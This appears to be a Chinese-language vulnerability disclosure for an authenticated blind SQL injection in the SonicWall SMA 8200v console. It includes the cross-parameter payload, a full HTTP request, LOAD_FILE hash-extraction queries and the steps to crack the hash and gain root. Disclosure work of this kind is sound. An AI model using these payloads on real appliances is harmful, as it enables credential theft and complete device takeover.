SonicWall SMA 8200v 管理控制台(端口 8443)中存在一个认证后的盲 SQL 注入漏洞,允许任何已认证的管理员——包括低权限的只读账户——从设备配置文件中提取主管理员账户的 SHA-512 密码哈希。由于 SonicWall 对管理控制台管理员和操作系统 root 账户使用相同的凭据,破解该哈希即可获得设备的完全 root 级访问权限。
分类: 权限提升(低权限管理员到 Root) CVSS 3.1: 7.2(高危)— AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 攻击复杂度: 低(自动化 PoC 约 60-90 分钟完成提取) 前提条件: 任意有效的管理控制台凭据(包括只读账户)
| 组件 | 详情 |
|---|---|
| 平台 | SonicWall SMA 8200v(虚拟设备) |
| 固件 | 12.5.0-02283(已确认);可能影响所有 12.x 版本 |
| 服务 | 管理控制台 — Jetty + Struts 2(端口 8443) |
| 端点 | POST /activeUsers.action |
| 易受攻击参数 | realmFilter、communityFilter(跨参数) |
| 根本原因类 | com.aventail.mgmt.sql.Sql.safeParam() |
| 数据库 | MariaDB 10.11.14,用户 DbAdmin(ALL PRIVILEGES + FILE) |
| 目标文件 | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
管理控制台使用类 com.aventail.mgmt.sql.Sql 中的辅助方法 safeParam() 为 Active Users 仪表板构建 SQL 查询。该方法通过将单引号(')和双引号(")加倍来转义它们,但不转义反斜杠字符(\)。
在 MySQL/MariaDB 中,反斜杠是字符串字面量内部的默认转义字符。序列 \' 会使数据库将单引号解释为字面字符而非字符串终止符。这意味着参数值末尾的反斜杠将转义应用程序追加的闭合引号,导致 SQL 字符串字面量扩展到相邻语法中。
清理缺口:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.
### 3.2 注入机制:跨参数技术
`activeUsers.action` 端点接受多个过滤器参数,这些参数被插值到单个 SQL WHERE 子句中。相关参数为 `realmFilter` 和 `communityFilter`,它们出现在一个结构大致如下的查询中:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
攻击参数设置:
| 参数 | 值 | 目的 |
|---|---|---|
realmFilter | test\ | 尾部反斜杠转义了闭合引号,使字符串字面量跨越 AND 边界延伸 |
communityFilter | )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x | 闭合打开的括号,注入条件性 SLEEP,注释掉其余部分 |
插值后生成的 SQL:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
分解如下:
1. `rt.name='test\')` — `\` 转义了 `'`,因此字符串在此处并未闭合
2. `AND (ct.name='` — 成为字符串值的一部分(字面文本)
3. 字符串最终在下一个 `'`(来自 `communityFilter` 的开头)处闭合
4. `))` — 闭合 WHERE 子句结构中两个未闭合的括号
5. `OR (SELECT IF(...))` — 注入盲 SQL 注入条件
6. `-- x` — 注释掉剩余的 SQL(`')` 及其他子句)
### 3.3 基于时间的盲注提取
由于应用程序的 Struts 2 错误处理机制会优雅地捕获 SQL 异常(无论查询成功与否,始终返回 HTTP 200 及相同的页面内容),基于报错和基于 UNION 的提取方法均不可行。因此,该注入利用基于时间的盲注技术进行利用:
- **TRUE 条件:** `IF(<condition>, SLEEP(N), 0)` — 响应延迟为 SLEEP 时长乘以结果集行数
- **FALSE 条件:** 无 SLEEP — 响应在约 200-500ms 内返回
SLEEP 函数在 WHERE 子句求值过程中按行执行。由于典型的监控表包含 30-300+ 行,即使很小的 SLEEP 值(例如 0.3s)也能产生清晰可辨的延迟(TRUE 条件为 10-100s,FALSE 条件为 <1s)。
目标数据的每个字符均通过对 ASCII 范围进行二分搜索来提取:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
此操作每个字符最多需要 7 次请求(log2(128) = 7),对于 98 字符的 SHA-512 哈希,总共约需 686 次请求。
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 步骤 1:身份验证
SMA 管理控制台支持两种身份验证域:
| 域 ID | 显示名称 | 用户 |
|----------|-------------|-------|
| *(空)* | 管理控制台 | 仅主管理员账户 |
| `AMCAuthRealm` / `本地身份验证` | 本地身份验证 | 辅助管理员账户(只读、自定义) |
该攻击仅需一个具有管理控制台访问权限的**任意**账户的有效凭据。“只读”账户——旨在仅提供监控访问权限、不具备配置更改能力——即已足够。
身份验证通过基于 J2EE FORM 的身份验证执行:
1. `GET /console.action` — 获取登录页面,从隐藏表单字段中提取 CSRF 令牌
2. `POST /j_security_check` — 提交 `csrfToken`、`j_username`、`j_password` 和 `realmId`
3. 成功时返回 HTTP 303 重定向,并建立 `JSESSIONID` Cookie
### 4.3 步骤 2:SQL 注入
身份验证后,攻击者向 `/activeUsers.action` 发送带有跨参数注入的 POST 请求:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
无条件 IF(1=1, SLEEP(0.3), 0) 通过观察 HTTP 响应中的可测量延迟,验证了注入是否有效。
MariaDB 数据库以操作系统用户 DbAdmin(uid=1001,gid=500 aventail)身份运行。该数据库用户拥有 ALL PRIVILEGES ON *.* WITH GRANT OPTION,包括 LOAD_FILE() 所需的 FILE 权限。
一个关键发现:尽管 MariaDB 配置设置了 secure_file_priv = NULL(这会阻止 INTO OUTFILE 和 INTO DUMPFILE 写入操作),但用于读取文件的 LOAD_FILE() 函数仍然完全可用。这是 MariaDB 一个已记录但鲜为人知的行为——secure_file_priv=NULL 限制了文件写入路径,但当用户拥有 FILE 权限时,并不会禁用文件读取。
目标配置文件 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml 的所有者为 mgmt-server:aventail,权限为 664(rw-rw-r--)。由于 DbAdmin 操作系统用户属于 aventail 组,因此 LOAD_FILE() 可以读取该文件。
通过盲注 SQLi 进行验证:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 步骤 4:在 avconfig.xml 中定位管理员哈希
`avconfig.xml` 文件(约 98KB)是设备的主配置存储库。它包含所有用户凭据,以 SHA-512 crypt 格式存储在 `<password>` XML 元素中。主管理员哈希位于一个 `<credentials_item>` 块中,该块靠近管理员部分独有的 `<consoleMode>` 元素。
提取过程不依赖硬编码的字节偏移量(如果管理员部分上方的配置发生变化,这些偏移量会失效),而是使用 MySQL 字符串函数动态定位哈希:```sql
SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE(<path>),
LOCATE('<password>', LOAD_FILE(<path>),
LOCATE('consoleMode', LOAD_FILE(<path>))
) + 10, -- skip past '<password>' tag (10 chars)
120 -- max SHA-512 crypt length
),
'<', -- trim at '</password>' closing tag
1
)
逻辑:
LOCATE('consoleMode', file) — 查找 consoleMode 字符串的字节偏移量,锚定到管理员配置部分LOCATE('<password>', file, anchor_offset) — 在该锚点之后查找第一个 <password> 标签SUBSTRING(file, tag_offset + 10, 120) — 提取哈希值(跳过 10 个字符的 <password> 标签)SUBSTRING_INDEX(result, '<', 1) — 在 </password> 结束标签处截断这种方法与位置无关,并且对文件中其他位置的配置更改具有弹性。整个表达式使用 MySQL 十六进制字面量(0x...)进行编码,以避免在注入上下文中出现引号问题。
哈希的每个字符通过二分搜索提取:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),
, 1)) > , SLEEP(0.3), 0)
二分搜索每次请求将 ASCII 范围 [0, 127] 缩小一半:
| 步骤 | 范围 | 测试 | 结果 |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | 已收敛 | 字符 = chr(n) |